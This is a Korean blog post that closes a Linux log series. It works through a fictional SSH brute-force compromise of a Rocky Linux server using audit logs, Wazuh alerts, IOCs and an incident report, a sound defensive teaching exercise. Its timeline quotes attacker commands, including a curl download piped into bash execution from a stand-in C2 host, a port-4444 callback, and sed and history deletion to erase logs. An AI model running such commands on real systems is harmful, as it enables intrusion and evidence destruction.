Linux 로그 경로 정리 · 50/50 · Part 6. SOC / SIEM / Wazuh

선행 학습 → 20. Rocky Linux 로그 기반 초동조사 · 44. 로그 삭제·변조 흔적 분석 · 45. 로그 보존 정책과 증거 보존 · 46. Linux 로그를 SIEM으로 보내는 구조 · 47. Wazuh에서 Linux 로그 수집 구조 · 48. Linux 로그 기반 IOC 추출 · 49. Linux 로그 타임라인 분석
이번 글 → Linux 로그 경로 기반 SOC 종합 분석 실습
이어서 → 시리즈 완결 — 전체 목차에서 필요한 편으로 돌아가 복습

1. 들어가며

50편의 마지막은 최종 프로젝트입니다. 가상의 Rocky Linux 웹 서버 web01 에서 발생한 침해 의심 상황을, 이 시리즈에서 다룬 도구와 절차로 처음부터 끝까지 분석하고 Incident Report로 정리합니다.

실습 데이터 고지: 분석 대상 로그(secure·cron·messages·audit.log, 로컬/중앙 사본)는 이 시리즈를 위해 직접 작성한 가상 시나리오 데이터입니다. IP는 문서용 대역(203.0.113.0/24, 198.51.100.0/24, 192.0.2.0/24)을 사용했습니다. 그 데이터를 입력으로 한 도구 실행 결과(ausearch, wazuh-logtest, 스크립트 출력)는 모두 Rocky Linux 9.8 실습 환경에서 실제로 실행한 결과입니다.

핵심 요약

  • 13단계: 환경 → 경로 → 인증 → 권한 → 실행 → 파일 → 지속성 → 네트워크 → audit 교차검증 → IOC → 타임라인 → Alert → 초동 대응
  • 결론: SSH 무차별 대입으로 deploy 계정 탈취 → root 권한 획득 → 악성 파일 설치 → 계정·cron 지속성 → 외부 C2 연결 시도 → 로그 변조
  • 판정: Incident (침해 확정), 위험도 높음

2. 핵심 개념

용어이 사건에서
Event02:14:52 deploy 계정 SSH 로그인 성공
Logsshd[4101]: Accepted password for deploy from 203.0.113.45 ...
AlertWazuh 40112 (level 12) "Multiple authentication failures followed by a success."
IOC203.0.113.45, 198.51.100.23:4444, /usr/local/bin/.syscheck, sysbackup …
EvidenceSHA-256으로 봉인한 수집본 (/evidence/case-0920/original)
Incident계정 탈취 후 권한 상승·지속성 설치·로그 변조가 확인된 침해사고

3. 로그 생성 구조

SOC 종합 분석 13단계

4. 실제 로그 경로

분석 대상경로비고
인증 (로컬)web01:/var/log/secure변조됨 (44편) — 참고용
인증 (중앙)logsrv:/var/log/remote/web01/secure1차 소스
cron/var/log/cron
감사/var/log/audit/audit.logexec_log · priv_esc · user_mod · cron_mod · net_out · log_tamper 키
수집본/evidence/case-0920/{original,work}/, SHA256SUMS45편 절차

5. 명령어 실습

단계별로 실행한 핵심 명령(모두 분석본 대상, 원본 수정 없음):

# [1] 환경
bash log-recon.sh                                   # OS, 로깅 상태, 로그 경로, 순환 정책
# [2] 경로·수집
bash collect.sh case-0920                           # 원본 → original(0400) + SHA256SUMS + work
# [3] 인증
grep 'Failed password' secure | grep -oE 'from [0-9.]+' | sort | uniq -c | sort -rn
grep 'Accepted' secure
# [4] 권한
grep -E 'sudo:.*COMMAND' secure ; ausearch -if audit.log -k priv_esc -i
# [5][6] 실행·파일
ausearch -if audit.log -k exec_log -i | grep -E '^type=(EXECVE|SYSCALL)'
# [7] 지속성
grep -E 'REPLACE|CMD' cron ; grep -E 'useradd|password changed' secure
# [8] 네트워크
ausearch -if audit.log -k net_out -i
# [9] 교차검증 (로컬 vs 중앙, 변조 행위)
comm -13 <(sort local/secure) <(sort central/secure) | wc -l ; ausearch -if audit.log -k log_tamper -i
# [10][11] IOC · 타임라인
bash ioc.sh ; bash timeline.sh
# [12] SIEM 판정
cat central/secure central/cron | /var/ossec/bin/wazuh-logtest

6. 로그 예시

실제 실행 결과 — root@wazuh-mgr · wazuh-manager 4.14.8 — 실습 시나리오 로그 판정 (level ≥ 8, 시간순 정리)

위 이미지는 Wazuh Manager 4.14.8(Rocky Linux 9.8 실습 환경)에 실습 시나리오 로그를 입력해 실제로 얻은 판정 결과 중 level 8 이상만 시간순으로 정리한 것입니다(100210~100212는 47편에서 작성한 커스텀 룰).

단계별 확인 결과(각 편의 실제 실행 결과 요약):

단계결과근거 편
[1] 환경Rocky 9.8, rsyslog·auditd 사용, 중앙 전송 설정 존재30, 36
[3] 인증203.0.113.45 실패 42회 → 02:14:52 deploy 성공(password)13, 48
[4] 권한02:15:30 sudo /bin/bash, auid=deploy → uid=root18, 37
[5] 실행curl 다운로드 → bash /tmp/.x.sh39
[6] 파일/usr/local/bin/.syscheck 생성(cp)39, 40
[7] 지속성sysbackup 계정 생성, root crontab REPLACE, 5분 주기 실행14, 18
[8] 네트워크02:20:02 198.51.100.23:4444 connect39, 48
[9] 교차검증로컬 secure 73줄 삭제, audit에 sed -i 기록44
[12] Alert40112(12) → 40501(15) → 2833 → 100211 → 10021047

7. 로그 필드 분석 — Incident Report

==================================================================
 INCIDENT REPORT  ·  Case ID: case-0920  ·  작성: 2026-09-26 (KST)
 ※ 실습용 가상 시나리오 — 모든 시각 KST(+09:00) 기준
==================================================================
[Incident Summary]
  web01 서버에서 SSH 무차별 대입으로 deploy 계정이 탈취되었고, 공격자는 sudo로 root
  권한을 얻어 외부 스크립트를 내려받아 실행, 숨김 실행 파일·백도어 계정·root cron을
  설치했다. 이후 외부 198.51.100.23:4444로 연결을 시도했으며, 로컬 인증 로그에서
  자신의 IP 기록을 삭제했다.

[Detection Time]
  최초 Alert : 2026-09-20 02:13:14  Wazuh 5712 (level 10, 무차별 대입)
  주요 Alert : 2026-09-20 02:14:52  Wazuh 40112 (level 12, 실패 후 성공)
               2026-09-20 02:16:40  Wazuh 40501 (level 15, 공격 후 사용자 추가)

[Affected Host]
  web01 (Rocky Linux 9.8, 10.0.0.12) — 웹 서버

[Source IP]
  203.0.113.45 (SSH 무차별 대입 및 로그인)

[User]
  탈취 계정 : deploy (UID 1001, 비밀번호 인증)
  생성 계정 : sysbackup (UID 1002, /bin/bash)

[Observed Behavior]
  초기 접근(T1110.001, T1078) → 권한 상승(T1548.003) → 다운로드·실행(T1105, T1059.004)
  → 지속성: 계정(T1136.001), cron(T1053.003) → C2 의심 통신(T1071)
  → 방어 회피: 로그 삭제(T1070.002), 히스토리 삭제(T1070.003)

[Evidence]  (SHA-256, /evidence/case-0920/SHA256SUMS)
  secure    d883e0d3e62ee9951b6087fc6259ec23c1fbfdb7c52754ff80d352bac450e1b3  (로컬, 변조본)
  audit.log 9dc3cf3a2e127fd0265cace6cfb5119c906478430601a30eddcc169ef0acb894
  cron      23071a918d2a7398a387b83b31165de5fb4b44fb9fc226818c8cbdc0982820e3
  중앙 로그 서버 web01/secure 사본 (1차 소스)

[IOC]
  IP        203.0.113.45 (공격 출발지), 198.51.100.23 (다운로드·C2 의심)
  Port      4444/tcp
  URL       http://198.51.100.23/x.sh
  File      /tmp/.x.sh, /tmp/.x/syscheck, /tmp/.x/cron.txt, /usr/local/bin/.syscheck
  Account   sysbackup (생성), deploy (탈취)
  Hash      .syscheck — 파일 확보 후 기재 (현 로그에는 없음)

[Timeline]
  02:13:05  SSH 실패 시작 (203.0.113.45, 42회)
  02:14:52  deploy 비밀번호 로그인 성공
  02:15:30  sudo /bin/bash (root 셸)
  02:16:10  curl http://198.51.100.23/x.sh -o /tmp/.x.sh
  02:16:15  bash /tmp/.x.sh → 02:16:17 /usr/local/bin/.syscheck 생성
  02:16:40  useradd sysbackup → 02:16:48 비밀번호 설정
  02:17:05  root crontab 교체 (*/5 .syscheck)
  02:20:01  cron 최초 실행 → 02:20:02 198.51.100.23:4444 연결 시도
  02:23:40  sed -i 로 /var/log/secure 에서 203.0.113.45 줄 삭제 (73줄)
  02:23:55  /root/.bash_history 삭제
  02:24:10  deploy 세션 종료 (이후 cron 5분 주기 계속)

[Analysis]
  - 무차별 대입 성공 → 38초 만에 root 셸 → 2분 13초 내 지속성 2종 설치: 계획된 공격.
  - auid=deploy 가 root 행위 전 과정에 유지되어 동일 세션(ses=12)의 행위로 확정.
  - 로컬 secure 는 변조되어 신뢰 불가 → 중앙 사본·audit 로 복원·교차검증.
  - 외부 연결은 connect 시도(EINPROGRESS)까지 확인, 실제 데이터 송수신 여부는
    네트워크 장비 로그 확인 필요(분석 한계).

[Risk]
  높음 — root 권한 탈취, 지속성 존재(재접속 가능), C2 통신 시도, 증거 인멸 시도.
  같은 비밀번호·키를 쓰는 다른 서버로의 확산 가능성.

[Response]  (초동, 증거 보존 후 순서대로)
  1. 증거 보존: 로그·저널·audit 수집 + 해시, .syscheck·/tmp/.x* 파일 보존, 메모리 수집 검토
  2. 격리: web01 네트워크 격리(운영 협의), 재부팅 금지
  3. 차단: 203.0.113.45, 198.51.100.23 방화벽/프록시 차단
  4. 계정: deploy 비밀번호 초기화·세션 종료, sysbackup 잠금(삭제는 조사 후)
  5. 지속성 제거: root crontab 항목, /usr/local/bin/.syscheck (보존 후)

[Recommended Action]
  - SSH 비밀번호 인증 비활성화(PasswordAuthentication no), 공개키·MFA 적용
  - fail2ban / 방화벽 레이트 리밋, 관리 접속 IP 제한
  - auditd 필수 룰 전 서버 배포 + -e 2 (immutable) 검토
  - Wazuh 커스텀 룰(100210~100212) 운영 반영, exec_log 행위 룰 추가
  - 중앙 로그 보존 기간 확대, 로그 변조 탐지 헬스 모니터링
  - IOC 로 전체 서버 헌팅 (SIEM 과거 90일)
==================================================================

8. 보안관점

판단근거 (독립 소스 수)
계정 탈취secure(중앙) 실패 42 → 성공, audit USER_AUTH (2)
권한 상승secure sudo, audit SYSCALL auid=deploy uid=root (2)
지속성secure useradd, cron REPLACE/CMD, audit EXECVE (3)
외부 통신audit SOCKADDR (1) → 네트워크 로그로 보강 필요
로그 변조로컬·중앙 비교, audit log_tamper, 로컬 논리 모순 (3)

근거가 하나뿐인 항목은 보고서에 분석 한계로 명시합니다.

9. SOC 관점

Alert (40112) ─▶ Triage (원본 확인, 정탐) ─▶ Investigation (13단계) ─▶ IOC ─▶ Incident 판정
     ─▶ Response (보존→격리→차단→계정→제거) ─▶ Lessons Learned (룰·수집·정책 개선)

이 시리즈 전체가 이 흐름의 각 단계에 대응합니다: 로그 개념·경로(01~30) → 생성 구조(31~40) → 관리·무결성·증거(41~45) → SIEM·IOC·타임라인(46~49) → 종합(50).

10. 실습 체크리스트

[ ] [1]  OS / 로그 환경 확인 (log-recon.sh)
[ ] [2]  주요 로그 경로 확인 + 증거 수집(collect.sh)
[ ] [3]  SSH 인증 이벤트 확인
[ ] [4]  sudo / 권한 상승 확인
[ ] [5]  프로세스 실행 확인
[ ] [6]  파일 생성 확인
[ ] [7]  cron / systemd 지속성 확인
[ ] [8]  네트워크 연결 확인
[ ] [9]  audit 로그 교차검증 (로컬 vs 중앙)
[ ] [10] IOC 추출 (ioc.sh)
[ ] [11] 타임라인 작성 (timeline.sh)
[ ] [12] SOC Alert 확인 (wazuh-logtest)
[ ] [13] 초동 대응 계획 + Incident Report

11. 핵심 정리

  • 침해 분석은 환경 확인에서 시작해 보고서로 끝나는 13단계 절차다.
  • 인증 로그는 뼈대, audit은 root 셸 안의 행위, 중앙 사본은 변조 대비책이다.
  • 판단마다 독립된 근거를 2개 이상 확보하고, 부족하면 분석 한계로 적는다.
  • IOC와 타임라인은 MITRE 기법·SIEM Alert와 연결해야 대응과 탐지 개선으로 이어진다.
  • 대응은 항상 증거 보존이 먼저다.
  • 핵심은 경로 암기가 아니라 "어떤 이벤트가 어디에 남고, 무엇으로 교차검증하며, SOC에서 어떻게 탐지하는가" 다.

12. 다음 편 연결

이 글로 「Linux 로그 경로 정리」 50편이 완결됩니다. 01편부터 순서대로 읽으면 "로그 개념 → 경로 → 생성 구조 → 관리·무결성 → SIEM → 침해 분석" 흐름을 따라갈 수 있습니다.

구분글
◀ 이전 글49. Linux 로그 타임라인 분석
시리즈Linux 로그 경로 정리 전체 보기
선행 시리즈리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초
profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글